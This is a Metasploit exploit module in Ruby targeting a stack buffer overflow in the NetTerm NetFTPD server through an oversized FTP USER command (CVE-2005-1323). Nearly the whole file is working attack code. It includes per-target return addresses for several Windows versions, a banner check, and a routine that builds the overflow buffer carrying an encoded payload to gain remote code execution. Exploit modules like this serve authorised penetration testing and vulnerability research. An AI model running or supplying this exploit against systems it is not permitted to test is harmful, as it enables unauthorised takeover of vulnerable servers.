NetTerm NetFTPD - USER Buffer Overflow



##

# $Id: netterm_netftpd_user.rb 10559 2010-10-05 23:41:17Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking

    include Msf::Exploit::Remote::Ftp

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'NetTerm NetFTPD USER Buffer Overflow',
            'Description'    => %q{
                    This module exploits a vulnerability in the NetTerm NetFTPD
                application. This package is part of the NetTerm package.
                This module uses the USER command to trigger the overflow.
            },
            'Author'         => [ 'hdm' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 10559 $',
            'References'     =>
                [
                    [ 'CVE', '2005-1323'],
                    [ 'OSVDB', '15865'],
                    [ 'URL', 'http://seclists.org/lists/fulldisclosure/2005/Apr/0578.html'],
                    [ 'BID', '13396'],
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'Space'    => 1000,
                    'BadChars' => "\x00\x0a\x20\x0d",
                    'StackAdjustment' => -3500,
                },
            'Platform'       => [ 'win' ],
            'Targets'        =>
                [
                    [
                        'NetTerm NetFTPD Universal',  # Tested OK - hdm 11/24/2005
                        {
                            'Ret'      => 0x0040df98, # netftpd.exe (multiple versions)
                        },
                    ],
                    [
                        'Windows 2000 English',
                        {
                            'Ret'      => 0x75022ac4, # ws2help.dll
                        },
                    ],
                    [
                        'Windows XP English SP0/SP1',
                        {
                            'Ret'      => 0x71aa32ad, # ws2help.dll
                        },
                    ],
                    [
                        'Windows 2003 English',
                        {
                            'Ret'      => 0x7ffc0638, # peb magic :-)
                        },
                    ],
                    [
                        'Windows NT 4.0 SP4/SP5/SP6',
                        {
                            'Ret'      => 0x77681799, # ws2help.dll
                        },
                    ],
                ],
            'DisclosureDate' => 'Apr 26 2005',
            'DefaultTarget' => 0))
    end

    def check
        connect
        disconnect
        if (banner =~ /NetTerm FTP server/)
            return Exploit::CheckCode::Vulnerable
        end
        return Exploit::CheckCode::Safe
    end

    def exploit
        connect

        print_status("Trying target #{target.name}...")

        # U          push ebp
        # S          push ebx
        # E          inc ebp
        # R          push edx
        # \x20\xC0   and al, al

        buf          = rand_text_english(8192, payload_badchars)
        buf[0, 1]    = "\xc0"
        buf[1, payload.encoded.length] = payload.encoded
        buf[1014, 4] = [ target.ret ].pack('V')

        send_cmd( ["USER #{buf}"] )
        send_cmd( ['HELP'] )

        handler
        disconnect
    end

end